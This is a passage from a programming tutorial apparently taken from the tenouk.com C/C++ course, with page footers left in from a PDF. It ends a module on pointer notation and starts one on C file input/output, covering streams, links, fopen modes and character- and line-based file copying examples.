Output:

- Previous C program example of function pointer, compiled using gcc.

/********* myptr.c *************/


#include <stdio.h>

int main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;

printf("So many notations?????....\n");


//....separating code in multiple lines
printf("Array b printed with: \n"
"Array subscript notation\n");

for(i=0; i<=3; i++)


printf("b[%d] = %d\n", i, b[i]);
printf("\nPointer/offset notation where \n"
"the pointer is the array name\n");

for(offset = 0; offset <=3; offset++)


printf("*(b + %d) = %d\n", offset, *(b + offset));
printf("\nPointer subscript notation\n");

for(i=0; i<=3; i++)


printf("bPtr[%d] = %d\n", i, bPtr[i]);
printf("\nPointer/offset notation\n");

for(offset = 0; offset <=3; offset++)


printf("*(bptr + %d) = %d\n", offset, *(bPtr + offset));
return 0;

[bodo@bakawali ~]$ gcc myptr.c -o myptr


[bodo@bakawali ~]$ ./myptr

So many notations?????....
Array b printed with:
Array subscript notation
b[0] = 10
b[1] = 20
b[2] = 30
b[3] = 40

Pointer/offset notation where


the pointer is the array name
*(b + 0) = 10
*(b + 1) = 20
*(b + 2) = 30

www.tenouk.com Page 30 of 31
*(b + 3) = 40

Pointer subscript notation


bPtr[0] = 10
bPtr[1] = 20
bPtr[2] = 30
bPtr[3] = 40

Pointer/offset notation
*(bptr + 0) = 10
*(bptr + 1) = 20
*(bptr + 2) = 30
*(bptr + 3) = 40

- Previous C++ program example compiled using g++.

/////////////////funcref.cpp//////////////////
//Illustrates that function receives addresses
//of variables and then alters their contents
#include <iostream>
using namespace std;

int main()
{
int x = 4, y = 7;
//function prototype...
void addcon(int*, int*);

cout<<"\nInitial value of x = "<<x;


cout<<"\nInitial value of y = "<<y;
cout<<"\nThen calls function addcon()\n";
cout<<"\nBringing along the &x = "<<&x<<endl;
cout<<"and &y = "<<&y<<"\n";
cout;

//function call, address of x any y are passed to addcon()


addcon(&x, &y);

cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;
cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
return 0;
}

//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}

[bodo@bakawali ~]$ g++ funcref.cpp -o funcref


[bodo@bakawali ~]$ ./funcref

Initial value of x = 4
Initial value of y = 7
Then calls function addcon()

Bringing along the &x = 0xbfed7944


and &y = 0xbfed7940

Add 10...
New value of x = 14
minus 10...
New value of y = -3

-------------------------------------------------------o0o -----------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.

www.tenouk.com Page 31 of 31
MODULE 9
C FILE INPUT/OUTPUT
---------------------------------
MODULE 19
C++ FILE I/O
create this, delete that, write this, read that, close this, open that

My Training Period: hours

Abilities

Trainee must be able to understand and use:

▪ The basic of the data hierarchy.


▪ A sequential access file – Read and Write related functions.
▪ Characters, lines and blocks disk file reading and writing related functions.
▪ A Random access files – Read and Write related functions.
▪ Some File Management Functions.
▪ Other libraries used for file I/O.

9.1 Introduction

- This Module actually shows you how to use the functions readily available in the C standard
library. Always remember this, using the standard library (ISO/IEC C, Single Unix specification or
glibc); you must know which functions to call and which header files provide these functions.
Then, you must be familiar with the proper prototype of the function call.
- The problems normally exist when dealing with the parameters passed to the functions and the
return value of the functions. We will explore some of the very nice and one of the heavily used
functions that available in the stdio.h header file, for our file processing and management tasks.
- Keep in mind that in C++ we will use member functions in class objects for file processing and
some of the advanced file processing examples will be discussed in C++ file I/O Module.
- Storage of data file as you have learned is temporary, all such data is lost when a program
terminates. That is why we have to save files on primary or secondary storage such as disks for
future usage.
- Besides that we also need to process data from external files that may be, located in secondary
storage as well as writing file during software installation and communicating with computer
devices such as floppy, hard disk, networking etc.
- And in socket programming (networking) you will also deal a lot with these open, close, read write
activities.
- File used for permanent retention of large amounts of data, stored online or offline in secondary
storage devices such as hard disk, CD-Rs/DVDs, tape backup or Network Attached Storage (NAS).

9.2 Basic of The Data Hierarchy

- Ultimately, all data items processed by a computer are just combinations of zeroes and ones.
- The smallest data item in computer can assume the value 0 or 1, called a bit (binary digit).
- But, human being prefer to work with data in the form of decimal digits (i.e. 0, 1, 2, 3, 4, 5, 6,
7…9), letters (i.e. A – Z and a – z) and special symbols (i.e. $, @, %, &, *, (,), -, +, ? and many
others) or in readable format.
- As you know, digits, letters and special symbols are referred to as characters, the keys on your
keyboard based on whether the ASCII, EBCDIC, Unicode or other proprietary characters set.
- Every character in a computer’s character set is represented as a pattern of 1’s and 0’s, called byte
(consists 8 bits-ASCII, EBCDIC), and for Unicode it uses multibyte or wide characters.
- Characters are composed of bits, and then fields (columns) are composed of characters.
- A field is a group of characters that conveys meaning such as a field representing a month of year.
- Data items processed by computer form a data hierarchy in which data items become larger and
more complex in structure as we progress from bits, to char (byte) to field and so on.
- A record (row or tuple) is composed of several fields.
- For example, in a payroll system, a record for a particular employee might consist of the following
fields:

0. Name.
0. Address.

www.tenouk.com Page 1 of 34
0. Security Social Number (SSN)/Passport Number
0. Salary.
0. Year to date earnings.
0. Overtime claims.

- So, a record is a group of related fields.


- For the payroll example, each of the fields belong to the same employee, in reality a company may
have many employees, and will have a payroll records for each employee.
- Conceptually, a file is a group of related records.
- A company’s payroll file normally contains one record for each employee, thus, a payroll file for a
company might contain up to 100, 000 records.
- To facilitate the retrieval of specific records from a file, at least one field in each record is chosen as
a record key.
- There are many ways of organizing records in a file. Maybe, the most popular type of organization
is called a sequential file in which records are typically stored in order by the record key field.

Figure 9.1: An illustration of a simple data hierarchy.

- For example, in a payroll file, records are usually placed in order by Social Security Number
(SSN). The first employee record in the file contains the lowest SSN number and subsequent
records contain increasingly higher SSN numbers.
- Most business may utilize many different files to store data, for example inventory files, payroll
files, employee files and many other types of files.
- For larger application, a group of related files may be called database.
- An application designed to create and manage databases is called a database management system
(DBMS). This DBMS term used here just for the data structure discussion, in database it may be
different. Popular type of DBMS is Relational DataBase Management System (RDBMS).
- A complete discussion of programming related to the databases can be found in data structure
books.
- Here we just want to have some basic knowledge about the construct of the data that the computer
processes, from bit to characters to fields and so on until we have a very readable data format
organized in a structured manner.

9.3 Files And Streams

- In C, a file can refer to a disk file, a terminal, a printer, a tape drive, sockets or other related
devices. Hence, a file represents a concrete device with which you want to exchange information.
- Before you perform any communication to a file, you have to open the file. Then you need to close
the opened file after finish exchanging or processing information with it.
- The main file processing tasks may involve the opening, reading, writing and closing.
- The data flow of the transmission from your program to a file, or vice versa, is called a stream,
which is a series of bytes. Different with file, a stream is device-independent. All streams have the
same behavior including that used in sockets programming such as the Transmission Control
Protocol (TCP) and User Datagram Protocol (UDP) streams.

www.tenouk.com Page 2 of 34
- Hence, to perform I/O operations, you can read from or write to any type of files by simply
associating a stream to the file.
- There are two formats of streams. The first one is called the text stream, which consists of a
sequence of characters (e.g. ASCII data). Depending on the compilers, each character line in a text
stream may be terminated by a newline character. Text streams are used for textual data, which has
a consistent appearance from one system to another.
- The second format of stream is called the binary stream, which is still a series of bytes. The
content of an .exe file would be one example. It is primarily used for non-textual data, which is
required to keep the exact contents of the file.
- And for Unicode it is Unicode stream in text or binary modes.
- In C, a memory area, which is temporarily used to store data before it is sent to its destination, is
called a buffer. By using buffer, the operating system can improve efficiency by reducing the
number of accesses to I/O devices.
- By default all I/O streams are buffered. The buffered I/O is also called the high-level I/O and the
low-level I/O refers to the unbuffered I/O.
- Keep in mind that in order to grasp the basic concepts, this Module will deal mainly with
unformatted text files.

9.4 Directories, Files and streams

9.4.1 Directories (Folders)

- Every OS have different file system for example ext2, ext3 (Linux), FAT, FAT32, NTFS, NTFS 5
(Windows). In general this discussion is biased to Linux file system.
- A file system is organized into a hierarchy of directories. For example:

C:\Program Files\Microsoft Visual Studio\VC98\Bin

- Or in Linux:

/testo1/testo2/testo3

- Or by issuing a tree command at Windows command prompt:

- A directory is a file that contains information to associate other files with names; these associations
are called links (shortcuts) or directory entries. Actually, a directory only contains pointers to files,
not the files themselves but as users we usually just say "files in a directory".
- The name of a file contained in a directory entry is called a file name component.
- In general, a file name consists of a sequence of one or more such components, separated by the
slash character (/). So, a file name which is just one component, names a file with respect to its
directory. A file name with multiple components, names a directory, and then a file in that
directory, and so on.
- Some other documents, such as the POSIX standard, use the term pathname for what was call a file
name here and either filename or pathname component should refer to the same meaning in this
discussion.

9.4.2 File Name Resolution

www.tenouk.com Page 3 of 34
- A file name consists of file name components separated by slash (/) characters. On the systems
that the GNU C library supports, multiple successive / characters are equivalent to a single /
character.
- The process of determining what file a file name refers to is called file name resolution. This is
performed by examining the components that make up a file name in left-to-right order, and
locating each successive component in the directory, named by the previous component.
- Each of the files that are referenced as directories must actually exist, be directories instead of
regular files, and have the appropriate permissions to be accessible by the process; otherwise the file
name resolution fails.
- Unlike some other operating systems such as Windows, the Linux system doesn't have any built-in
support for file types (or extensions) or file versions as part of its file name prototype.
- Many programs and utilities use conventions for file names. For example, files containing C source
code usually have names suffixed with .c and executable files have .exe extension, but there is
nothing in the Linux file system itself that enforces this kind of convention.
- May be you can better differentiate those file types by using the –F option for ls directory listing
command (ls –F).
- If a file name begins with a /, the first component in the file name is located in the root directory of
the process (usually all processes on the system have the same root directory). In Windows it is
normally a C: drive. Such a file name is called an absolute file name.
- Otherwise, the first component in the file name is located in the current working directory and this
kind of file name is called a relative file name. For example, the Secondir and Thirdir should
be relative file name and Firstdir is an absolute filename.

/Firstdir/Secondir/Thirdir

- The file name components '.' ("dot") and '..' ("dot-dot") have special meanings.

C:\Firstdir>dir /a
Volume in drive C has no label.
Volume Serial Number is E8E3-18E2

Directory of C:\Firstdir

04/18/2005 03:09p <DIR> .


04/18/2005 03:09p <DIR> ..
04/18/2005 03:08p 0 first.txt
04/18/2005 03:09p <DIR> Secondir
1 File(s) 0 bytes
3 Dir(s) 1,326,395,392 bytes free

- Every directory has entries for these file name components. The file name component '.' refers to
the directory itself, while the file name component '..' refers to its parent directory (the directory
that contains the link for the directory in question). That is why if we want to change to the parent
directory of the current working directory we just issue the 'cd ..' command for Linux and
Windows.
- Then in Linux, to run a program named testrun in the current working directory we issue the
following command:

./testrun

- As a special case, '..' in the root directory refers to the root directory itself, since it has no parent;
thus '/..' is the same as /.
- Here are some examples of file names:

File name Description


/a The file named a, in the root directory.
/a/b The file named b, in the directory named a in the root directory.
a The file named a, in the current working directory.
/a/./b This is the same as /a/b.
./a The file named a, in the current working directory.
../a The file named a, in the parent directory of the current working directory.

Table 9.1: File names examples

www.tenouk.com Page 4 of 34
- A file name that names a directory may optionally end in a /. You can specify a file name of / to
refer to the root directory, but the empty string is not a meaningful file name.
- If you want to refer to the current working directory, use a file name of '.' or './'. For example
to run a program named testprog that located in the current working directory we just prefixes
the ./ to the program name.

./testprog

9.4.3 Streams and FILE structure

- The type of the C data structure that represents a stream is called FILE rather than "stream". Since
most of the library functions deal with objects of type FILE *, sometimes the term file pointer is
also used to mean "stream". This leads to confusion over terminology in many reference materials
and books on C.
- The FILE type is declared in the stdio.h header file.

FILE data type


This is the data type used to represent stream objects. A FILE object holds all of the
internal state information about the connection to the associated file, including such
things as the file position indicator and buffering information. Each stream also has
error and end-of-file status indicators that can be tested with the ferror and
feof functions.

Table 9.2: FILE data type

- FILE objects are allocated and managed internally by the I/O library functions.

9.4.4 Standard Streams

- When the main function of your program is invoked, it already has three predefined streams open
and available for use. These represent the standard input and output channels that have been
established for the process. A process here means a running program.
- These streams are declared in the stdio.h header file and summarized in the following Table.

Standard stream Description


The standard input stream variable, which is the normal source of
FILE * stdin
input for the program.
The standard output stream variable, which is used for normal output
FILE * stdout
from the program.
The standard error stream variable, which is used for error messages
FILE * stderr
and diagnostics issued by the program.

Table 9.3: Standard streams

- In the Linux system, you can specify what files or processes correspond to these streams using the
pipe and redirection facilities provided by the shell.
- Most other operating systems provide similar mechanisms, but the details of how to use them can
vary.
- In the GNU C library, stdin, stdout, and stderr are normal variables which you can set just
like any others. For example, to redirect the standard output to a file, you could do:

fclose(stdout);
stdout = fopen ("standard-output-file", "w");

- However, in other systems stdin, stdout, and stderr are macros instead of variables that you
cannot assign to in the normal way. But you can use for example freopen() function to get the
effect of closing one and reopening it.

9.5 Links Story

9.5.1 Hard Links

www.tenouk.com Page 5 of 34
- In POSIX systems, one file can have many names at the same time. All of the names are equally
real, and no one of them is preferred to the others. In Windows it is called shortcuts.
- To add a name to a file, use the link() function (The new name is also called a hard link to the
file). Creating a new link to a file does not copy the contents of the file; it simply makes a new
name by which the file can be known, in addition to the file's existing name or names.
- One file can have names in several directories, so the organization of the file system is not a strict
hierarchy or tree.
- In most implementations, it is not possible to have hard links to the same file in multiple file
systems. link() reports an error if you try to make a hard link to the file from another file system
when this cannot be done.
- The prototype for the link() function is declared in the header file unistd.h and is
summarized below.

int link(const char *oldname, const char *newname)


The link function makes a new link to the existing file named by oldname, under the new name
newname.
This function returns a value of 0 if it is successful and -1 on failure. In addition to the usual file name
errors, for both oldname and newname, the following errno error conditions are defined for this
function:
EACCES You are not allowed to write to the directory in which the new link is to be written.
There is already a file named newname. If you want to replace this link with a new link, you
EEXIST
must remove the old link explicitly first.
There are already too many links to the file named by oldname. (The maximum number of
EMLINK
links to a file is LINK_MAX).
ENOENT The file named by oldname doesn't exist. You can't make a link to a file that doesn't exist.
ENOSPC The directory or file system that would contain the new link is full and cannot be extended.
In the GNU system and some others, you cannot make links to directories. Many systems
EPERM
allow only privileged users to do so. This error is used to report the problem.
The directory containing the new link can't be modified because it's on a read-only file
EROFS
system.
EXDEV The directory specified in newname is on a different file system than the existing file.
EIO A hardware error occurred while trying to read or write the to filesystem.

Table 9.4: link() function

9.5.2 Symbolic Links

- The Linux system for example, supports soft links or symbolic links. This is a kind of "file" that is
essentially a pointer to another file name.
- Unlike hard links, symbolic links can be made to directories or across file systems with no
restrictions. You can also make a symbolic link to a name which is not the name of any file.
(Opening this link will fail until a file by that name is created).
- Likewise, if the symbolic link points to an existing file which is later deleted, the symbolic link
continues to point to the same file name even though the name no longer names any file.
- The reason symbolic links work the way they do is that special things happen when you try to open
the link. The open() function realizes you have specified the name of a link, reads the file name
contained in the link, and opens that file name instead.
- The stat() function (used for file attributes information) likewise operates on the file that the
symbolic link points to, instead of on the link itself.
- By contrast, other operations such as deleting or renaming the file operate on the link itself. The
functions readlink() and lstat() also refrain from following symbolic links, because their
purpose is to obtain information about the link.
- link(), the function that makes a hard link, does too. It makes a hard link to the symbolic link,
which one rarely wants.
- Some systems have for some functions operating on files have a limit on how many symbolic links
are allowed when resolving a path name. The limit if exists is published in the sys/param.h
header file.
- The following lists functions and macros used for links.

int MAXSYMLINKS
The macro MAXSYMLINKS specifies how many symlinks some function will follow before
returning ELOOP. Not all functions behave the same and this value is not the same as a
returned for _SC_SYMLOOP by sysconf. In fact, the sysconf result can indicate that

www.tenouk.com Page 6 of 34
there is no fixed limit although MAXSYMLINKS exists and has a finite value.

Table 9.5: MAXSYMLINKS macro

- Prototypes for most of the functions listed in the following section are in unistd.h.

int symlink(const char *oldname, const char *newname)


The symlink function makes a symbolic link to oldname named newname.
The normal return value from symlink is 0. A return value of -1 indicates an error. In addition to the
usual file name prototype errors (see File Name Errors), the following errno error conditions are
defined for this function:
EEXIST There is already an existing file named newname.
EROFS The file newname would exist on a read-only file system.
ENOSPC The directory or file system cannot be extended to make the new link.
EIO A hardware error occurred while reading or writing data on the disk.

Table 9.6: symlink() function

int readlink(const char *filename, char *buffer, size_t size)


The readlink function gets the value of the symbolic link filename. The file name that the link points
to is copied into buffer. This file name string is not null-terminated; readlink normally returns the
number of characters copied. The size argument specifies the maximum number of characters to copy,
usually the allocation size of buffer.
If the return value equals size, you cannot tell whether or not there was room to return the entire name.
A value of -1 is returned in case of error. In addition to the usual file name errors, following errno
error conditions are defined for this function:
EINVAL The named file is not a symbolic link.
EIO A hardware error occurred while reading or writing data on the disk.

Table 9.7: readlink() function

- In some situations it is desirable to resolve all the symbolic links to get the real name of a file where
no prefix, names a symbolic link which is followed and no filename in the path is '.' or '..'.
- This is for example desirable if files have to be compared in which case different names can refer to
the same inode. For Linux system we can use canonicalize_file_name() function for this
purpose.
- The UNIX standard includes a similar function which differs from
canonicalize_file_name() in that the user has to provide the buffer where the result is
placed in. It uses realpath() function.
- The advantage of using this function is that it is more widely available. The drawback is that it
reports failures for long path on systems which have no limits on the file name length.

9.6 The Basic Of Disk File I/O

9.6.1 Opening And Closing A Disk File

- Before we dive into the details, take note that the program examples presented here just for basic
file I/O that applies to DOS and Linux.
- For Windows, you have to study the Win32 programming that provides specifics file I/O and other
related functions. Here we do not discuss in details regarding the permission, right and
authorization such as using Discretionary Access Control List (DACL) and Security Access Control
List (SACL) implemented in Windows OS.
- Furthermore for DOS type OS also, Microsoft uses Microsoft C (C Runtime – CRT). Nevertheless
the concepts still apply to any implementation.
- As explained before, in C, a FILE structure is a file control structure defined in the header file
stdio.h. A pointer of type FILE is called a file pointer, which references a disk file.
- A file pointer is used by stream to conduct the operation of the I/O functions. For instance, the
following declaration defines a file pointer called fpter:

FILE *fpter;

www.tenouk.com Page 7 of 34
- In the FILE structure there is a member, called the file position indicator, which points to the
position in a file where data will be read from or written to.
- The I/O function fopen() gives you the ability to open a file and associate a stream to the opened
file. You need to specify the way to open a file and the filename with the fopen() function. The
prototype is:

FILE *fopen(const char *filename, const char *mode);

- Here, filename is a char pointer that references a string of a filename. The filename is given to
the file that is about to be opened by the fopen() function. mode points to another string that
specifies the way to open the file.
- The fopen() function returns a pointer of type FILE. If an error occurs during the procedure to
open a file, the fopen() function returns a null pointer.
- Table 9.8 shows the possible ways to open a file by various strings of modes.
- Note that, you might see people use the mode rb+ instead of r+b. These two strings are
equivalent. Similarly, wb+ is the same as w+b, ab+ is equivalent to a+b.
- The following program segment example try to open a file named test.txt, located in the same
folder as the main() program for reading.

FILE *fptr;
if((fptr = fopen("test.txt","r")) == NULL)
{
printf("Cannot open test.txt file.\n");
exit(1);
}

- Here, "r" is used to indicate that the text file is about to be opened for reading only. If an error
occurs such as the file is non-exist, when the fopen() function tries to open the file, the function
returns a null pointer.
- Then an error message is printed out by the printf() function and the program is aborted by
calling the exit() function with a nonzero value to handle the exception.

Mode Description
r Open a file for reading.
w Create a file for writing. If the file already exists, discard the current contents.
a Append, open or create a file for writing at the end of the file.
r+ Open a file for update (reading and writing).
w+ Create a file for update. If the file already exists, discard the current contents.
a+ Append, open or create a file for update, writing is done at the end of the file.
rb Opens an existing binary file for reading.
wb Creates a binary file for writing.
ab Opens an existing binary file for appending.
r+b Opens an existing binary file for reading or writing.
w+b Creates a binary file for reading or writing.
a+b Opens or creates a binary file for appending.

Table 9.8: Possible ways opening a file by various strings of modes in C

- After a disk file is read, written, or appended with some new data, you have to disassociate the file
from a specified stream by calling the fclose() function.
- The prototype for the fclose() function is:

int fclose(FILE *stream);

- Here, stream is a file pointer that is associated with a stream to the opened file. If fclose()
closes a file successfully, it returns 0. Otherwise, the function returns EOF.
- By assuming the previous program segment successfully opened the test.txt for reading, then
to close the file pointer we should issue the following code:

fclose(fptr);

www.tenouk.com Page 8 of 34
- Normally, the fclose() function fails only when the disk is removed before the function is called
or there is no more space left on the disk.
- The end-of-file (EOF) combination key for different platform is shown in table 9.9. You have to
check your system documentation.

Computer system Key combination


UNIX® systems <return> <ctrl> d
IBM® PC and compatibles <ctrl> z
Macintosh® - PowerPC <ctrl> d
VAX® (VMS) <ctrl> z

Table 9.9: End-of-file (EOF) key combinations for various computer systems.

- Since all high-level I/O operations are buffered, the fclose() function flushes data left in the
buffer to ensure that no data will be lost before it disassociates a specified stream with the opened
file.
- A file that is opened and associated with a stream has to be closed after the I/O operation.
Otherwise, the data saved in the file may be lost or some unpredictable errors might occur during
the next time file opening.
- Let try the following program example, which shows you how to open and close a text file and how
to check the returned file pointer value as well.
- First of all you have to create file named tkk1103.txt. This file must be in the same folder as
your running program, or you have to provide the full path string if you put it in other folder.
- By default program will try finding file in the same folder where the program is run.
- For example, if you run your C program in folder:

C:\BC5\Myproject\testing\

- Then, make sure you put the tkk1103.txt file in the same folder:

C:\BC5\Myproject\testing\tkk1103.txt

1. //Opening and closing file example


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. //SUCCESS = 0, FAIL = 1 using enumeration
6. enum {SUCCESS, FAIL};
7.
8. int main (void)
9. {
10. FILE *fptr;
11. //the filename is tkk1103.txt and located
12. //in the same folder as this program
13. char filename[] = "tkk1103.txt";
14.
15. //set the value reval to 0
16. int reval = SUCCESS;
17. //test opening file for reading, if fail...
18. if((fptr = fopen(filename, "r")) == NULL)
19. {
20. printf("Cannot open %s.\n", filename);
21. reval = FAIL; //reset reval to 1
22. }
23. //if successful do...
24. else
25. {
26. printf("Opening the %s file successfully\n", filename);
27. //the program will display the address where
28. //the file pointer points to..
29. printf("The value of fptr: 0x%p\n", fptr);
30. printf("\n....file processing should be done here....\n");
31. printf("\nReady to close the %s file.\n", filename);
32. //close the file stream...
33. if(fclose(fptr)==0)
34. printf("Closing the %s file successfully\n", filename);
35. }
36. //for Borland…can remove the following pause and the library,
37. //stdlib.h for other compilers
38. system("pause");
39. return reval;

www.tenouk.com Page 9 of 34
40. }

40 lines: Output:

- If opening the file is fails, the following will be output:

- Remember, for the "r" mode, you have to create and save tkk1103.txt file in the same folder
where the .exe file for this program resides or provide the full path strings in the program.
- This program shows you how to open a text file. fopen() function tries to open a text file with
the name contained by the string array filename for reading. The filename (stored in array) is
defined and initialized with to tkk1103.txt.
- If an error occurs when you try to open the text file, the fopen() function returns a null pointer.
Next line then prints a warning message, and assigns the value represented by the enum name
FAIL to the int variable reval. From the declaration of the enum data type, we know that the
value of FAIL is 1.
- However, if the fopen() function opens the text file successfully, the following statement:

printf("The value of fptr: 0x%p\n", fptr);

- Will print the value contained by the file pointer fptr.


- At the end line of code tells the user that the program is about to close the file, and then
fclose(fptr); closes the file by calling the fclose() file.
- return reval; the return statement returns the value of reval that contains 0 if the text file
has been opened successfully or 1 otherwise.
- From the output, the value held by the file pointer is 0x0D96:01C2 (memory address) after the
text file is open successfully. Different pc will have different address.
- If your tkk1103.txt file is not in same folder as your main() program, you have to explicitly
provide the full path of the file location.
- For example, if your tkk1103.txt is located in C:\Temp folder, you have to change:

char filename[] = "tkk1103.txt";

- To

char filename[] = "c:\\Temp\\tkk1103.txt";

9.6.2 Reading And Writing Disk File

- The previous program example does not do anything with the text file, tkk1103.txt, except
open and close it. Some text has been saved in tkk1103.txt, so how can you read them from
the file?
- In C you can perform I/O operations in the following ways:

0. Read or write one character at a time.


0. Read or write one line of text (that is, one line of characters) at a time.

www.tenouk.com Page 10 of 34
0. Read or write one block of characters at a time.

9.6.2.1 One Character At A Time

- Among the C I/O functions, there is a pair of functions, fgetc() and fputc(), that can be used
to read from or write to a disk file one character at a time.
- The prototype for the fgetc() function is:

int fgetc(FILE *stream);

- The stream is the file pointer that is associated with a stream. The fgetc() function fetches the
next character from the stream specified by stream. The function then returns the value of an
int that is converted from the character.
- The prototype for the fputc() function is:

int fputc(int c, FILE *stream);

- c is an int value that represents a character. In fact, the int value is converted to an unsigned
char before being output. stream is the file pointer that is associated with a stream. The
fputc() function returns the character written if the function is successful, otherwise, it returns
EOF. After a character is written, the fputc() function advances the associated file pointer.
- Let explore the program example. Before that, you have to create two text files named,
testone.txt and testtwo.txt then save it in the same folder where the your main()
program is or provide the full path strings if the files is in another folder. Then for file
testtwo.txt, write the following texts and save it

OPENING, READING, WRITING AND CLOSING FILE


-------------------------------------------
Testing file. This file named testtwo.txt.
After opening files for reading and writing,
without error, content of this file (testtwo.txt)
will be read and output (write) to the other
file named testone.txt and standard
output(screen/console) character by character!!!

---HAPPY LEARNING FOLKS!!!----

Content of file testtwo.txt

- Then, if you run the program with no error, modify the content of the testtwo.txt, recompile
and rerun the program. The displaying texts and the content of testone.txt also will change.
- Next check also the content of testone.txt file, the content should be same as testtwo.txt
file and the texts displayed on your screen.

1. //Reading and writing one character at a time


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. //enumerated data type, SUCCESS = 0, FAIL = 1
6. enum {SUCCESS, FAIL};
7.
8. //prototype function for reading from and writing...
9. void CharReadWrite(FILE *fin, FILE *fout);
10.
11. int main()
12. {
13. //declare two file pointers...
14. FILE *fptr1, *fptr2;
15. //define the two files name...
16. char filename1[] = "testone.txt";
17. char filename2[] = "testtwo.txt";
18. int reval = SUCCESS;
19.
20. //test the opening filename1 for writing....
21. //if fails....
22. if ((fptr1 = fopen(filename1, "w")) == NULL)
23. {
24. printf("Problem, cannot open %s.\n", filename1);
25. reval = FAIL;
26. }

www.tenouk.com Page 11 of 34
27. //if opening filename1 for writing is successful,
28. //test for opening for reading filename2, if fails...
29. else if ((fptr2 = fopen(filename2, "r")) == NULL)
30. {
31. printf("Problem, cannot open %s.\n", filename2);
32.
33. reval = FAIL;
34. }
35. //if successful opening for reading from filename2
36. //and writing to filename1...
37. else
38. {
39. //function call for reading and writing...
40. CharReadWrite(fptr2, fptr1);
41. //close both files...
42. if(fclose(fptr1)==0)
43. printf("%s closed successfully\n", filename1);
44. if(fclose(fptr2)==0)
45. printf("%s closed successfully\n", filename2);
46. }
47. //For Borland if compiled using its IDE…
48. system("pause");
49. return reval;
50. }
51.
52. //read write function definition
53. void CharReadWrite(FILE *fin, FILE *fout)
54. {
55. int c;
56. //if the end of file is reached, do...
57. while ((c = fgetc(fin)) != EOF)
58. {
59. //write to a file...
60. fputc(c, fout);
61. //display on the screen...
62. putchar(c);
63. }
64. printf("\n");
65. }

65 lines: Output:

- This program read one character from a file, writes the character to another file, and then display
the character on the screen.

9.6.2.2 One Line At A Time

- Besides reading or writing one character at a time, you can also read or write one character line at
time. There is a pair of C I/O functions, fgets() and fputs(), that allows you to do so.
- The prototype for the fgets() function is:

char *fgets(char *s, int n, FILE *stream);

- s, references a character array that is used to store characters read from the opened file pointed to
by the file pointer stream. n specifies the maximum number of array elements. If it is successful,
the fgets() function returns the char pointers s. If EOF is encountered, the fgets() function

www.tenouk.com Page 12 of 34
returns a null pointer and leaves the array untouched. If an error occurs, the function returns a null
pointer, and the contents of the array are unknown.
- The fgets() function can read up to n-1 characters, and can append a null character after the last
character fetched, until a newline or an EOF is encountered.
- If a newline is encountered during the reading, the fgets() function includes the newline in the
array. This is different from what the gets() function does. The gets() function just replaces
the newline character with a null character.
- The prototype for the fputs() function is:

int fputs(const char *s, FILE *stream);

- s points to the array that contains the characters to be written to a file associated with the file
pointer stream. The const modifier indicates that the content of the array pointed to by s
cannot be changed. If it fails, the fputs() function returns a nonzero value, otherwise, it returns
zero.
- The character array must include a null character at the end as the terminator to the fputs()
function. Also, unlike the puts() function, the fputs() function does not insert a newline
character to the string written to a file.
- Let try a program example. First of all, create two text file named testhree.txt and
testfour.txt and put it under folder C:\. File testfour.txt should contain the following
texts:

OPENING, READING, WRITING one line of characters


----------------------------------------------------
This is file testfour.txt. This file's content will
be read line by line of characters till no more line
of character found. Then, it will be output to the
screen and also will be copied to file testhree.txt.
Check the content of testhree.txt file...
----------------------------------------------------
------------------HAVE A NICE DAY-------------------

Content of testfour.txt file

1. //Reading and writing one line at a time


2. #include <stdio.h>
3. #include <stdlib.h>
4.
5. enum {SUCCESS, FAIL, MAX_LEN = 100};
6.
7. //function prototype for read and writes by line...
8. void LineReadWrite(FILE *fin, FILE *fout);
9.
10. int main(void)
11. {
12. FILE *fptr1, *fptr2;
13. //file testhree.txt is located at the root, c:
14. //you can put this file at any location provided
15. //you provide the full path, same for testfour.txt
16. char filename1[] = "c:\\testhree.txt";
17. char filename2[] = "c:\\testfour.txt";
18. char reval = SUCCESS;
19.
20. //test opening testhree.txt file for writing, if fail...
21. if((fptr1 = fopen(filename1,"w")) == NULL)
22. {
23. printf("Problem, cannot open %s for writing.\n", filename1);
24. reval = FAIL;
25. }
26.
27. //test opening testfour.txt file for reading, if fail...
28. else if((fptr2=fopen(filename2, "r"))==NULL)
29. {
30. printf("Problem, cannot open %s for reading.\n", filename2);
31. reval = FAIL;
32. }
33.
34. //if opening fro writing and reading successful, do...
35. else
36. {
37. //function call for read and write, line by line...
38. LineReadWrite(fptr2, fptr1);

www.tenouk.com Page 13 of 34
39. //close both files stream...
40. if(fclose(fptr1)==0)
41. printf("%s successfully closed.\n", filename1);
42. if(fclose(fptr2)==0)
43. printf("%s successfully closed.\n", filename2);
44. }
45. //For Borland screenshot
46. system("pause");
47. return reval;
48. }
49.
50. //function definition for line read, write…
51. void LineReadWrite(FILE *fin, FILE *fout)
52. {
53. //local variable...
54. char buff[MAX_LEN];
55. while(fgets(buff, MAX_LEN, fin) !=NULL)
56. {
57. //write to file...
58. fputs(buff, fout);
59. //write to screen...
60. printf("%s", buff);
61. }
62. }

62 lines: Output:

- In this program example, the text files are located in C:\ drive. The fgets() function is called
repeatedly in a while loop to read one line of characters at a time from the testfour.txt file,
until it reaches the end of the text file.
- In line 54, the array name buff and the maximum number of the array elements MAX_LEN are
passed to the fgets() function, along with the file pointer fin that is associated with the opened
testfour.txt file.
- Meanwhile, each line read by the fgets() function is written to another opened text file called
testhree.txt that is associated with the file pointer fout. This is done by invoking the
fputs() function in line 58.
- The statement in line 60 prints the contents of each string on the screen so that you see the contents
of the testfour.txt file. You also can view the testhree.txt file content in a text editor
to make sure that the contents of the testfour.txt file have been copied to the
testhree.txt file.

9.6.2.3 One Block At A Time

- You can also read or write a block of data at a time. There are two C I/O functions, fread() and
fwrite(), that can be used to perform block I/O operations.
- The prototype for the fread() function is:
size_t fread(void *ptr, size_t size, size_t n,
FILE *stream);

- The ptr is a pointer to an array in which the data is stored. size indicates the size of each array
element. n specifies the number of elements to be read. stream is a file pointer that is associated
with the opened file for reading.

www.tenouk.com Page 14 of 34
